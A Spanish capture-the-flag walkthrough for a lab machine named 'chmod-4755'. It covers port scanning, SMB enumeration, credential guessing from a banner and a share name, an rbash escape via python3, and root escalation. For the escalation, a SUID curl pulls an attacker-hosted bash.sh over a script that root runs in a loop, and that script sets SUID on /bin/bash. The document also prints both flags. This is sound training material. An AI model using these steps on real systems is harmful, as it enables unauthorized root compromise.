CTF chmod-4755 Intermediate

URL Download CTF = https://drive.google.com/file/d/1NdzO9vNuZNz6z2I7ZdpQU90Ut0NtU6HC/view?usp=sharing

Instalación

Cuando obtenemos el .zip nos lo pasamos al entorno en el que vamos a empezar a hackear la maquina y haremos lo siguiente.

unzip chmod-4755.zip

Nos lo descomprimira y despues montamos la maquina de la siguiente forma.

bash auto_mount.sh chmod-4755.tar

Info:

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        v2.0 by d1se0                                                                     
                                         

Estamos desplegando la máquina vulnerable, espere un momento.

Creador: d1se0

Maquina: chmod-4755

Máquina desplegada, su dirección IP es --> 172.18.0.2

Presiona Ctrl+C cuando termines con la máquina para eliminarla

Por lo que cuando terminemos de hackearla, le damos a Ctrl+C y nos eliminara la maquina para que no se queden archivos basura.

Escaneo de puertos

nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn <IP>
nmap -sCV -p<PORTS> <IP>

Info:

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-02 08:28 EDT
Nmap scan report for 172.18.0.2
Host is up (0.000032s latency).

PORT    STATE SERVICE     VERSION
22/tcp  open  ssh         OpenSSH 9.6p1 Ubuntu 3ubuntu13.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 a8:62:07:af:8e:77:13:6d:25:0a:2f:43:63:de:38:38 (ECDSA)
|_  256 93:93:a8:35:0e:fa:3e:05:04:27:70:2e:fc:22:e8:99 (ED25519)
139/tcp open  netbios-ssn Samba smbd 4.6.2
445/tcp open  netbios-ssn Samba smbd 4.6.2
MAC Address: 02:42:AC:12:00:02 (Unknown)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
| smb2-time: 
|   date: 2024-09-02T12:29:10
|_  start_date: N/A
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled but not required

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 29.52 seconds

Vemos que hay un smb y un ssh, si probamos a conectarnos al ssh con cualquier usuario, vemos el siguiente banner.

ssh test@<IP>

Info:

**************************************************
*   WARNING: Unauthorized Access is Prohibited!  *
*   This system is for authorized users only.    *
*   All activities are monitored and recorded.   *
*                  by fuckit                     *
**************************************************
test@172.18.0.2's password:

Bastante interesante la palabra fuckit, nos la guardaremos.

Si investigamos en el smb, lo enumeraremos.

enum4linux

enum4linux <IP>

Info:

Starting enum4linux v0.9.1 ( http://labs.portcullis.co.uk/application/enum4linux/ ) on Mon Sep  2 08:32:29 2024

 =========================================( Target Information )=========================================

Target ........... 172.18.0.2
RID Range ........ 500-550,1000-1050
Username ......... ''
Password ......... ''
Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none


 =============================( Enumerating Workgroup/Domain on 172.18.0.2 )=============================


[E] Can't find workgroup/domain



 =================================( Nbtstat Information for 172.18.0.2 )=================================

Looking up status of 172.18.0.2
No reply from 172.18.0.2

 ====================================( Session Check on 172.18.0.2 )====================================


[+] Server 172.18.0.2 allows sessions using username '', password ''


 =================================( Getting domain SID for 172.18.0.2 )=================================

Domain Name: WORKGROUP
Domain Sid: (NULL SID)

[+] Can't determine if host is part of domain or part of a workgroup


 ====================================( OS information on 172.18.0.2 )====================================


[E] Can't get OS info with smbclient


[+] Got OS info for 172.18.0.2 from srvinfo: 
	EE406F2ADE3B   Wk Sv PrQ Unx NT SNT ee406f2ade3b server (Samba, Ubuntu)
	platform_id     :	500
	os version      :	6.1
	server type     :	0x809a03


 ========================================( Users on 172.18.0.2 )========================================

index: 0x1 RID: 0x3e8 acb: 0x00000010 Account: smbuser	Name: smbuser	Desc: 

user:[smbuser] rid:[0x3e8]

 ==================================( Share Enumeration on 172.18.0.2 )==================================

smbXcli_negprot_smb1_done: No compatible protocol selected by server.

	Sharename       Type      Comment
	---------       ----      -------
	print$          Disk      Printer Drivers
	share_secret_only Disk      
	IPC$            IPC       IPC Service (ee406f2ade3b server (Samba, Ubuntu))
Reconnecting with SMB1 for workgroup listing.
Protocol negotiation to server 172.18.0.2 (for a protocol between LANMAN1 and NT1) failed: NT_STATUS_INVALID_NETWORK_RESPONSE
Unable to connect with SMB1 -- no workgroup available

[+] Attempting to map shares on 172.18.0.2

//172.18.0.2/print$	Mapping: DENIED Listing: N/A Writing: N/A
//172.18.0.2/share_secret_only	Mapping: DENIED Listing: N/A Writing: N/A

[E] Can't understand response:

NT_STATUS_CONNECTION_REFUSED listing \*
//172.18.0.2/IPC$	Mapping: N/A Listing: N/A Writing: N/A

 =============================( Password Policy Information for 172.18.0.2 )=============================



[+] Attaching to 172.18.0.2 using a NULL share

[+] Trying protocol 139/SMB...

[+] Found domain(s):

	[+] EE406F2ADE3B
	[+] Builtin

[+] Password Info for Domain: EE406F2ADE3B

	[+] Minimum password length: 5
	[+] Password history length: None
	[+] Maximum password age: 37 days 6 hours 21 minutes 
	[+] Password Complexity Flags: 000000

		[+] Domain Refuse Password Change: 0
		[+] Domain Password Store Cleartext: 0
		[+] Domain Password Lockout Admins: 0
		[+] Domain Password No Clear Change: 0
		[+] Domain Password No Anon Change: 0
		[+] Domain Password Complex: 0

	[+] Minimum password age: None
	[+] Reset Account Lockout Counter: 30 minutes 
	[+] Locked Account Duration: 30 minutes 
	[+] Account Lockout Threshold: None
	[+] Forced Log off Time: 37 days 6 hours 21 minutes 



[+] Retieved partial password policy with rpcclient:


Password Complexity: Disabled
Minimum Password Length: 5


 ========================================( Groups on 172.18.0.2 )========================================


[+] Getting builtin groups:


[+]  Getting builtin group memberships:


[+]  Getting local groups:


[+]  Getting local group memberships:


[+]  Getting domain groups:


[+]  Getting domain group memberships:


 ===================( Users on 172.18.0.2 via RID cycling (RIDS: 500-550,1000-1050) )===================


[I] Found new SID: 
S-1-22-1

[I] Found new SID: 
S-1-5-32

[I] Found new SID: 
S-1-5-32

[I] Found new SID: 
S-1-5-32

[I] Found new SID: 
S-1-5-32

[+] Enumerating users using SID S-1-5-21-65181895-2357771409-242648279 and logon username '', password ''

S-1-5-21-65181895-2357771409-242648279-501 EE406F2ADE3B\nobody (Local User)
S-1-5-21-65181895-2357771409-242648279-513 EE406F2ADE3B\None (Domain Group)
S-1-5-21-65181895-2357771409-242648279-1000 EE406F2ADE3B\smbuser (Local User)

[+] Enumerating users using SID S-1-22-1 and logon username '', password ''

S-1-22-1-1000 Unix User\smbuser (Local User)
S-1-22-1-1001 Unix User\rabol (Local User)

[+] Enumerating users using SID S-1-5-32 and logon username '', password ''

S-1-5-32-544 BUILTIN\Administrators (Local Group)
S-1-5-32-545 BUILTIN\Users (Local Group)
S-1-5-32-546 BUILTIN\Guests (Local Group)
S-1-5-32-547 BUILTIN\Power Users (Local Group)
S-1-5-32-548 BUILTIN\Account Operators (Local Group)
S-1-5-32-549 BUILTIN\Server Operators (Local Group)
S-1-5-32-550 BUILTIN\Print Operators (Local Group)

 ================================( Getting printer info for 172.18.0.2 )================================

No printers returned.


enum4linux complete on Mon Sep  2 08:33:09 2024

Vemos que hay 2 usuarios smbuser (Que sera para el samba) y rabol (Que seguramente sea el de ssh).

SMB

Intentamos conectarnos con el usuario smbuser al smb, pero nos pedira una contraseña y si probamos a meter la palabra que encontramos en el banner, veremos que nos deja.

smbclient //<IP>/share_secret_only -U smbuser

Metemos la palabra fuckit como contraseña y veremos que funciona.

Si listamos veremos un archivo.

.                                   D        0  Mon Sep  2 08:05:05 2024
  ..                                  D        0  Mon Sep  2 08:05:05 2024
  note.txt                            N       13  Mon Sep  2 08:05:05 2024

Nos lo descargamos ya que no podemos hacer otra cosa.

get note.txt

Y contiene lo siguiente.

read better

Nos dice que leamos mejor, por lo que si leemos el recurso compartido el nombre que tiene.

share_secret_only

Probaremos a utilizarlo como contraseña para el usuario rabol.

SSH

ssh rabol@<IP>

Si metemos como contraseña la palabra share_secret_only veremos que es la correcta.

Exit rbash

Una vez dentro veremos que estaremos en una restricted bash y solo podremos ejecutar 2 comandos (ls y python3), pero podremos escapar de ella utilizando python3 y haciendo lo siguiente.

python3 -c 'import os; os.system("/bin/bash")'

Y con esto ya habremos escapado, pero si intentamos hacer algun otro binario, veremos que no podemos, ya que el PATH esta limitado, por lo que nos importaremos el de nuestro host de la siguiente forma.

export PATH=$PATH:/root/.local/bin:/snap/bin:/usr/sandbox/:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games:/usr/share/games:/usr/local/sbin:/usr/sbin:/sbin:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games

Y ahora si podremos hacer los binario y todo, ya que nuestro PATH estaria "arreglado", por lo que leeremos la flag.

user.txt

04aee8d6f21f746d0655233aa1d1541a

Escalate Privileges

Si vemos que permisos SUID tenemos, veremos los siguientes.

find / -type f -perm -4000 -ls 2>/dev/null

Info:

1600906    336 -rwsr-xr-x   1 root     root       342632 Aug  9 04:33 /usr/lib/openssh/ssh-keysign
  1600867     36 -rwsr-xr--   1 root     messagebus    34960 Aug  9 04:33 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
  1200588     40 -rwsr-xr-x   1 root     root          40664 Apr  9 09:01 /usr/bin/newgrp
  1600800     56 -rwsr-xr-x   1 root     root          55680 Aug  9 04:33 /usr/bin/su
  1600735     52 -rwsr-xr-x   1 root     root          51584 Aug  9 04:33 /usr/bin/mount
  1600847     40 -rwsr-xr-x   1 root     root          39296 Aug  9 04:33 /usr/bin/umount
  1200457     72 -rwsr-xr-x   1 root     root          72792 Apr  9 09:01 /usr/bin/chfn
  1200463     44 -rwsr-xr-x   1 root     root          44760 Apr  9 09:01 /usr/bin/chsh
  1200524     76 -rwsr-xr-x   1 root     root          76248 Apr  9 09:01 /usr/bin/gpasswd
  1200599     64 -rwsr-xr-x   1 root     root          64152 Apr  9 09:01 /usr/bin/passwd
  1600801    272 -rwsr-xr-x   1 root     root         277936 Apr  8 16:50 /usr/bin/sudo
  1600673    292 -rwsr-xr-x   1 root     root         297288 Aug  9 04:33 /usr/bin/curl

Vemos que tenemos permisos SUID en el binario curl, pero si investigamos mas, vemos en los procesos que se esta ejecutando lo siguiente.

ps -aux

Info:

USER         PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root           1 31.2  0.0   2800  1920 ?        Rs   14:26   5:27 /bin/sh -c service smbd start && service ssh start && while true; do /bin/bash /usr/local/bin/bash.sh; done
root          15  0.1  0.1  87360 16916 ?        Ss   14:26   0:01 /usr/sbin/smbd -D
root          24  0.0  0.0  12020  3720 ?        Ss   14:26   0:00 sshd: /usr/sbin/sshd [listener] 0 of 10-100 startups
root          29  0.0  0.0  84832  6348 ?        S    14:26   0:00 smbd: notifyd .
root          32  0.0  0.0  84840  6092 ?        S    14:26   0:00 smbd: cleanupd 
root      663904  0.0  0.0  14528  7624 ?        Ss   14:39   0:00 sshd: rabol [priv]
rabol     670962  0.5  0.0  14788  6576 ?        S    14:39   0:01 sshd: rabol@pts/0
rabol     671026  0.0  0.0   5016  3840 pts/0    Ss   14:39   0:00 -rbash
rabol     700550  0.0  0.0  15088  9088 pts/0    S    14:39   0:00 python3 -c import os; os.system("/bin/bash")
rabol     700561  0.0  0.0   2800  1792 pts/0    S    14:39   0:00 sh -c -- /bin/bash
rabol     700563  0.0  0.0   5016  3968 pts/0    S    14:39   0:00 /bin/bash
rabol     911756  0.0  0.0   9580  4864 pts/0    R+   14:43   0:00 ps -aux
root      911759  0.0  0.0      0     0 ?        R    14:43   0:00 [bash]

Por lo que vemos en esta linea:

root           1 31.2  0.0   2800  1920 ?        Rs   14:26   5:27 /bin/sh -c service smbd start && service ssh start && while true; do /bin/bash /usr/local/bin/bash.sh; done

root esta ejecutando en bucle un archivo llamado bash.sh en /usr/local/bin/ veremos a ver que permisos tiene.

ls -la /usr/local/bin/bash.sh

Info:

-rwxr-xr-x 1 root root 1 Sep  2 13:51 /usr/local/bin/bash.sh

Vemos que tiene unos permisos normales, por lo que no podremos editarlo, pero como hemos visto antes, tenemos el curl con permisos de SUID, por lo que podremos hacer lo siguiente.

En nuestra maquina host crearemos un archivo que se llame igual al de la maquina victima.

bash.sh

nano bash.sh

#Dentro del nano
#!/bin/bash

chmod u+s /bin/bash

Lo guardamos y abriremos un servidor de python3 en la maquina host.

python3 -m http.server 80

Ahora en la maquina victima aprovecharemos los permisos de SUID del binario curl y nos iremos al siguiente directorio.

cd /usr/local/bin/

Dentro de aqui utilizaremos curl para sustituir el archivo bash.sh por el contenido de nuestro hsot.

curl -O http://<IP_HOST>/bash.sh

Info:

  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100    34  100    34    0     0   6930      0 --:--:-- --:--:-- --:--:--  8500

Ahora si leemos el archivo bash.sh.

cat bash.sh

Info:

#!/bin/bash

chmod u+s /bin/bash

Veremos que funciono correctamente y si vemos los permisos de la bash.

ls -la /bin/bash

Info:

-rwsr-xr-x 1 root root 1446024 Mar 31 10:41 /bin/bash

Vemos que funciono, por lo que haremos lo siguiente.

bash -p

Y con esto ya seremos root, por lo que leeremos la flag.

root.txt

1e4e4054308a62a2bbaacd02074f1ad2
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